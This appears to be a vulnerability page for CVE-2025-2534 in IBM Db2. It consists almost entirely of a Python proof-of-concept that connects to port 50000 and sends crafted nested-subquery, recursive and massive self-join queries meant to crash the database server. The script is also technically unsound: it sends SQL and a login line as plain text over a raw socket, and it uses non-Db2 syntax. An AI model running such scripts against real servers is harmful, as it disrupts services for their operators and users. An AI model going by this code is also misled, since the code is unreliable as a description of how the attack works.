CVE-2025-2534 IBM Db2 拒绝服务漏洞

import socket import time # CVE-2025-2534 PoC - IBM Db2 DoS via crafted query # This PoC demonstrates sending a specially crafted query to trigger the DoS condition # Note: Replace target_ip and credentials with actual values def exploit_ibm_db2_dos(target_ip, port=50000, username='db2admin', password='password'): """ Attempt to trigger CVE-2025-2534 DoS vulnerability in IBM Db2 This PoC sends a specially crafted query that may cause server crash """ # Malicious query pattern that may trigger the DoS condition # Based on the vulnerability description, any specially crafted query can trigger the issue malicious_queries = [ # Pattern 1: Deep nested subquery "SELECT * FROM (SELECT * FROM (SELECT * FROM (SELECT * FROM SYSIBM.SYSTABLES))) t1,\n (SELECT * FROM (SELECT * FROM (SELECT * FROM SYSIBM.SYSTABLES))) t2", # Pattern 2: Complex recursive CTE (if supported) "WITH RECURSIVE cte AS (SELECT 1 AS n UNION ALL SELECT n+1 FROM cte WHERE n < 10000) SELECT * FROM cte", # Pattern 3: Excessive JOIN operations "SELECT * FROM SYSIBM.SYSTABLES t1 JOIN SYSIBM.SYSTABLES t2 ON 1=1 " + "JOIN SYSIBM.SYSTABLES t3 ON 1=1 " * 100 ] try: # Connect to IBM Db2 server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Send authentication (simplified - actual auth would be more complex) auth_packet = f"CONNECT TO DBNAME USER {username} USING {password}\n" sock.send(auth_packet.encode()) time.sleep(1) # Send malicious queries for query in malicious_queries: print(f"[*] Sending malicious query: {query[:50]}...") sock.send((query + "\n").encode()) time.sleep(2) print("[*] Malicious queries sent. Monitor target server for crash condition.") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration - modify these values for testing TARGET_IP = "192.168.1.100" PORT = 50000 USERNAME = "db2user" PASSWORD = "db2pass" print("CVE-2025-2534 IBM Db2 DoS PoC") print("Use only on systems you have permission to test.") exploit_ibm_db2_dos(TARGET_IP, PORT, USERNAME, PASSWORD)